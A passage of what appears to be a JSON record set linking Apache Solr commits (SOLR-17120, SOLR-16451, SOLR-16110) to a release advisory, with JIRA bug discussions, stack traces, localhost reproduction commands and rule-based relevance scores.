prior partial update that set the field to null there are other updates of other fields on that doc (and unrelated updates of other docs) in between the partial update that sets the field to null and the doc that causes the NullPointerException the update that causes the error included only updates to fields other than field1-field8 (the ones that were set to null in the earlier update) Also, since I didn't include the stack trace here, and I originally gave the stack trace as for version 8.11.2, here's the stack trace for 9.4.0, which is the version I've been using for most of my testing: 2024-01-19 18:33:10.160 ERROR (qtp726408598-34) [ x:app t:0.0.0.0-34] o.a.s.s.HttpSolrCall 500 Exception => java.lang.NullPointerException\r\n\u00a0 \u00a0 at org.apache.solr.update.UpdateLog.applyOlderUpdates(UpdateLog.java:1025)\r\njava.lang.NullPointerException: null\r\n\u00a0 \u00a0 at org.apache.solr.update.UpdateLog.applyOlderUpdates(UpdateLog.java:1025) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.UpdateLog.applyPartialUpdates(UpdateLog.java:992) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.component.RealTimeGetComponent.resolveFullDocument(RealTimeGetComponent.java:476) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.component.RealTimeGetComponent.getInputDocumentFromTlog(RealTimeGetComponent.java:720) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.component.RealTimeGetComponent.getInputDocumentFromTlog(RealTimeGetComponent.java:657) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.component.RealTimeGetComponent.getInputDocument(RealTimeGetComponent.java:773) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.processor.DistributedUpdateProcessor.getUpdatedDocument(DistributedUpdateProcessor.java:788) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.processor.DistributedUpdateProcessor.doVersionAdd(DistributedUpdateProcessor.java:406) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.processor.DistributedUpdateProcessor.lambda$versionAdd$0(DistributedUpdateProcessor.java:356) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.VersionBucket.runWithLock(VersionBucket.java:51) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.processor.DistributedUpdateProcessor.versionAdd(DistributedUpdateProcessor.java:353) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.processor.DistributedUpdateProcessor.processAdd(DistributedUpdateProcessor.java:234) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.processor.LogUpdateProcessorFactory$LogUpdateProcessor.processAdd(LogUpdateProcessorFactory.java:111) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.loader.JsonLoader$SingleThreadedJsonLoader.handleAdds(JsonLoader.java:553) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.loader.JsonLoader$SingleThreadedJsonLoader.processUpdate(JsonLoader.java:183) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.loader.JsonLoader$SingleThreadedJsonLoader.load(JsonLoader.java:151) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.loader.JsonLoader.load(JsonLoader.java:86) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.UpdateRequestHandler$1.load(UpdateRequestHandler.java:102) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.ContentStreamHandlerBase.handleRequestBody(ContentStreamHandlerBase.java:100) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.RequestHandlerBase.handleRequest(RequestHandlerBase.java:226) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.core.SolrCore.execute(SolrCore.java:2901) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.HttpSolrCall.executeCoreRequest(HttpSolrCall.java:875) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:561) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.SolrDispatchFilter.dispatch(SolrDispatchFilter.java:262) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.SolrDispatchFilter.lambda$doFilter$0(SolrDispatchFilter.java:219) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.ServletUtils.traceHttpRequestExecution2(ServletUtils.java:246) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.ServletUtils.rateLimitRequest(ServletUtils.java:215) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:213) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:195) ~[?:?]\r\n\u00a0 \u00a0 at org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:210) ~[jetty-servlet-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1635) ~[jetty-servlet-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:527) ~[jetty-servlet-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:131) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:598) ~[jetty-security-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:122) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:223) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1570) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:221) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1384) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:176) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:484) ~[jetty-servlet-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1543) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:174) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1306) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:129) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:149) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.InetAccessHandler.handle(InetAccessHandler.java:228) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:141) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:122) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:301) ~[jetty-rewrite-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:122) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.gzip.GzipHandler.handle(GzipHandler.java:822) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:122) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.Server.handle(Server.java:563) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.HttpChannel$RequestDispatchable.dispatch(HttpChannel.java:1598) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.HttpChannel.dispatch(HttpChannel.java:753) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:501) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:287) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:314) ~[jetty-io-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:100) ~[jetty-io-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.io.SelectableChannelEndPoint$1.run(SelectableChannelEndPoint.java:53) ~[jetty-io-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.runTask(AdaptiveExecutionStrategy.java:421) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.consumeTask(AdaptiveExecutionStrategy.java:390) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:277) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:199) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:411) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at java.lang.Thread.run(Thread.java:829) [?:?] Thanks again for your help. Thanks Calvin for all the info above! Based on the info above, I was able to reproduce the NPE locally by adding two extra fields to the films example considering the https://solr.apache.org/guide/solr/latest/indexing-guide/partial-document-updates.html#in-place-updates info, and by making /get calls that exercise the code paths in question. Will attach the script to this JIRA item. Having read more of the code in the process and also noting the https://github.com/apache/solr/blob/releases/solr/9.4.1/solr/core/src/java/org/apache/solr/update/UpdateLog.java#L1017 comment which reads /** Add all fields from olderDoc into newerDoc if not already present in newerDoc */ I'm now then inclined to think that your original solution with the newerDoc.addField(fieldName, null); is preferable. Would you like to open a pull request for the change, for main branch? Hi cpoerschke , casmith - thanks for all your work so far figuring this out! (I agree with Christine - one of the best JIRA writeups I've seen lately!) I don't have much context here, but stumbled across this ticket in preparing for the upcoming 9.5.0 release. I see it's not marked as a \"Blocker\", but the Fix-Version is 9.5? Is this high-impact enough that it should be a Blocker, or is it not worth holding up the 9.5 RC for? My tentative target for RC1 was this Thursday the 25th or Friday the 26th. Thanks for clarifying! Hi cpoerschke , that's great that you were able to reproduce it. I'll start a pull request. Hi gerlowskija , I don't know how the project decides on what's a blocker or not, but imho, it would be nice to get it in 9.5 if practical, but it shouldn't block the release, because it's not a regression or something that is likely to affect many users (I was able to reproduce it back as far as version 6.6.2 (as far back as I checked), but have never run into it through years of the same kinds of activity (at lower update rates) as triggers the exception). I created a pull request: https://github.com/apache/solr/pull/2214 The s3 tests failed for me. I've tried getting rid of my existing ~/.aws/config and ~/.aws/credentials files in case there was anything unexpected in there, since the error seemed to be the same as one other people were getting when there were issues with one of those confs. EDIT: All the tests did pass after I renamed my aws config files, so there must have been something in them that the java sdk didn't tolerate but was okay for the aws cli and the python sdk that I usually use. Commit 571c8871278bc14aea683420aea58ef64e38bbae in solr's branch refs/heads/main from Calvin Smith [ https://gitbox.apache.org/repos/asf?p=solr.git;h=571c8871278 ] SOLR-17120 : handle null value when merging partials (#2214) SOLR-17120 handle null value when merging partials this change avoids a `NullPointerException` that can occur under some circumstances when performing multiple partial updates of the same document Commit e0ce8f60da8c97a765f598e9ee36438715e964f7 in solr's branch refs/heads/branch_9x from Calvin Smith [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e0ce8f60da8 ] SOLR-17120 : handle null value when merging partials (#2214) SOLR-17120 handle null value when merging partials this change avoids a `NullPointerException` that can occur under some circumstances when performing multiple partial updates of the same document (cherry picked from commit 571c8871278bc14aea683420aea58ef64e38bbae) Commit 0de8d70df0f2b5482ada41fb4479f74cda4c0d76 in solr's branch refs/heads/branch_9_5 from Calvin Smith [ https://gitbox.apache.org/repos/asf?p=solr.git;h=0de8d70df0f ] SOLR-17120 : handle null value when merging partials (#2214) SOLR-17120 handle null value when merging partials this change avoids a `NullPointerException` that can occur under some circumstances when performing multiple partial updates of the same document (cherry picked from commit 571c8871278bc14aea683420aea58ef64e38bbae) (cherry picked from commit e0ce8f60da8c97a765f598e9ee36438715e964f7) Thanks casmith ! My pleasure. Thank you cpoerschke for all your help and for getting this into main so quickly. Commit 78e618444690b9ddf285e416d8045a11dceb711b in lucene-solr's branch refs/heads/branch_8_11 from Christine Poerschke [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=78e61844469 ] SOLR-17120 : handle null value when merging partials (backport of solr#2214) (#2683) SOLR-17120 handle null value when merging partials this change avoids a `NullPointerException` that can occur under some circumstances when performing multiple partial updates of the same document Co-authored-by: Calvin Smith https://github.com/apache/lucene-solr/pull/2683 as per above backported for the upcoming (as per https://lists.apache.org/thread/6vl1t5bmqqym2w3kgvrdb7f71njc1moc mailing list thread) 8.11.3 release too. Commit 571c8871278bc14aea683420aea58ef64e38bbae in solr's branch refs/heads/jira/ SOLR-16858 from Calvin Smith [ https://gitbox.apache.org/repos/asf?p=solr.git;h=571c8871278 ] SOLR-17120 : handle null value when merging partials (#2214) SOLR-17120 handle null value when merging partials this change avoids a `NullPointerException` that can occur under some circumstances when performing multiple partial updates of the same document Closing after the 8.11.3 release" + }, + "ghissue_refs": { + "2214": "", + "2683": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/update/UpdateLog.java", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: value, user", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-17120", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 2214, 2683", + "relevance": 2 + } + ] + }, + { + "commit_id": "49fd000432e7cbe62551141e474b4bec3243fe39", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1665748954, + "hunks": 2, + "message": "SOLR-16451: Don't fetch the PRS states while registering the collection watch closes #1057", + "changed_files": [ + "solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-16451": "Solr fetches prs state inside watch registration here https://github.com/apache/solr/blob/19f109842fb34069346a9efb21cf01b6706830a8/solr/solrj-zookeeper/src/java/org/apache/solr/common/cloud/ZkStateReader.java#L1857 which is un necessary, and it affects the perf PRS: Don't fetch the prs state, while registering the collection watch CCing noblepaul ichattopadhyaya Commit 3046236e6ec8875d54c512fa69a1c89be430b909 in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=3046236e6ec ] SOLR-16451 : Don't fetch the PRS states while registering the collection watch closes #1057 Commit 13834cca4c019ec04f32c2daa18770674de038ed in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=13834cca4c0 ] SOLR-16451 : Don't fetch the PRS states while registering the collection watch closes #1057 Commit d4bddbb80cc5baabdd8806cf9bb417b4e4a83f83 in solr's branch refs/heads/branch_9_1 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=d4bddbb80cc ] SOLR-16451 : Don't fetch the PRS states while registering the collection watch closes #1057 Thanks hiteshkhamesra . Thanks. we may want to remove unused function https://github.com/apache/solr/blob/8789520fb13a9b1736d030aefd48dde1fe22bc82/solr/solrj-zookeeper/src/java/org/apache/solr/common/cloud/ZkStateReader.java#L1862 Commit c54ed38cb977fa0515e502c50916ab1c2b2102fc in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=c54ed38cb97 ] SOLR-16451 : removed unused method Commit 65f05ef768a4a64142bf1b7b8eddcc2e0f923b29 in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=65f05ef768a ] SOLR-16451 : removed unused method Commit 52c587211685dfa8a6eb487b5b6861f41f63ac4f in solr's branch refs/heads/branch_9_1 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=52c58721168 ] SOLR-16451 : removed unused method Bulk closing 9.1 issues. Commit 49fd000432e7cbe62551141e474b4bec3243fe39 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=49fd000432e ] SOLR-16451 : Don't fetch the PRS states while registering the collection watch closes #1057" + }, + "ghissue_refs": { + "1057": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: read", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-16451", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 1057", + "relevance": 2 + } + ] + }, + { + "commit_id": "7bd8229f4db031f81b84e15881a483244967a8e1", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1651770069, + "hunks": 4, + "message": "SOLR-16110: Using Schema/Config API breaks the File-Upload of Config Set File (#831) Co-authored-by: Steffen Moldenhauer ", + "changed_files": [ + "solr/core/src/java/org/apache/solr/cloud/ZkController.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-16110": "After using the Schema/Config API to change the config/schema in a config set, the UPLOAD of a file to this config set does not work anymore. The Schema/Config API changes the metadata that is stored at the config set node. There is a '{trusted=false}' / '{trusted=true} or an empty \"no utf8 Content\" but after the Schema/Config API call it is\u00a0 replaced by a single 0 byte. As a result the following upload of a file with Configset API throws a json parse error. Steps to reproduce Run solr cloud example:\u00a0 solr -e cloud -p 8984 Create Config set from _default: http://localhost:8984/solr/admin/configs?action=CREATE&name=test&baseName=_default Create Collection with Config set 'test': http://localhost:8984/solr/admin/collections?action=CREATE&name=test&collection.configName=test&numShards=1 add field with Schema API call: curl -X POST -H 'Content-Type: application/json' -i http: //localhost:8984/solr/test/schema --data '{ \"add-field\" :{ \"name\" : \"my-field\" , \"type\" : \"string\" , \"stored\" : true }\r\n}' Create a file test.json and try to upload it: curl -X POST --header \"Content-Type:application/json\" --data-binary @test.json \"http: //localhost:8983/solr/admin/configs?action=UPLOAD&name=test&filePath=test.json&wt=xml&omitHeader= true \" Response: \r\n\r\n\u00a0 JSON Parse Error: char =#0;,position=0 AFTER= '#0;' BEFORE=''\r\n\u00a0 org.noggit.JSONParser$ParseException: JSON Parse Error: char =#0;,position=0 AFTER= '#0;' BEFORE=''\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.noggit.JSONParser.err(JSONParser.java:452)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.noggit.JSONParser.handleNonDoubleQuoteString(JSONParser.java:819)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.noggit.JSONParser.next(JSONParser.java:1026)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.noggit.JSONParser.nextEvent(JSONParser.java:1073)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.noggit.ObjectBuilder.<init>(ObjectBuilder.java:84)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.common.util.Utils.lambda$ static $1(Utils.java:356)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.common.util.Utils.fromJSON(Utils.java:319)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.common.util.Utils.fromJSON(Utils.java:305)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.handler.admin.ConfigSetsHandler.isCurrentlyTrusted(ConfigSetsHandler.java:328)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.handler.admin.ConfigSetsHandler.ensureOverwritingUntrustedConfigSet(ConfigSetsHandler.java:308)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.handler.admin.ConfigSetsHandler.createBaseZnode(ConfigSetsHandler.java:269)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.handler.admin.ConfigSetsHandler.handleConfigUploadRequest(ConfigSetsHandler.java:205)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.handler.admin.ConfigSetsHandler.handleRequestBody(ConfigSetsHandler.java:113)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.handler.RequestHandlerBase.handleRequest(RequestHandlerBase.java:216)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.servlet.HttpSolrCall.handleAdmin(HttpSolrCall.java:836)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.servlet.HttpSolrCall.handleAdminRequest(HttpSolrCall.java:800)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:545)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:427)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:357)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:201)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1601)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:548)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:600)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:235)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1624)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:233)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1434)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:188)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:501)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1594)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:186)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1349)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:191)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.InetAccessHandler.handle(InetAccessHandler.java:177)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:146)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:322)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.gzip.GzipHandler.handle(GzipHandler.java:763)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.Server.handle(Server.java:516)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.HttpChannel.lambda$handle$1(HttpChannel.java:400)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.HttpChannel.dispatch(HttpChannel.java:645)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:392)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:277)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.runTask(EatWhatYouKill.java:338)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:315)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:131)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:409)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at java.lang. Thread .run( Thread .java:748)\r\n\r\n\u00a0 < int name= \"code\" >500\r\n\r\n Expected Behavior The info at the zookeeper config set node 'trusted=true/false' or 'no content ' is kept as it is. Using Schema/Config API breaks the File-Upload of Config Set File The ZkController.touchConfDir() is the place I found that is writing a new byte []{0} at the config set node. Here's my patch suggestion SOLR-16110.patch Reads the current content of the node and re-writes it into the node to keep the data. added a simple mock test in SOLR-16110-1.patch smoldenhauer typically people open up PR's using Github against the github.com/apache/solr project to facilitate review. Would you be open to doing this? If not (and some people object!), then I'll happily take the patch as is . How 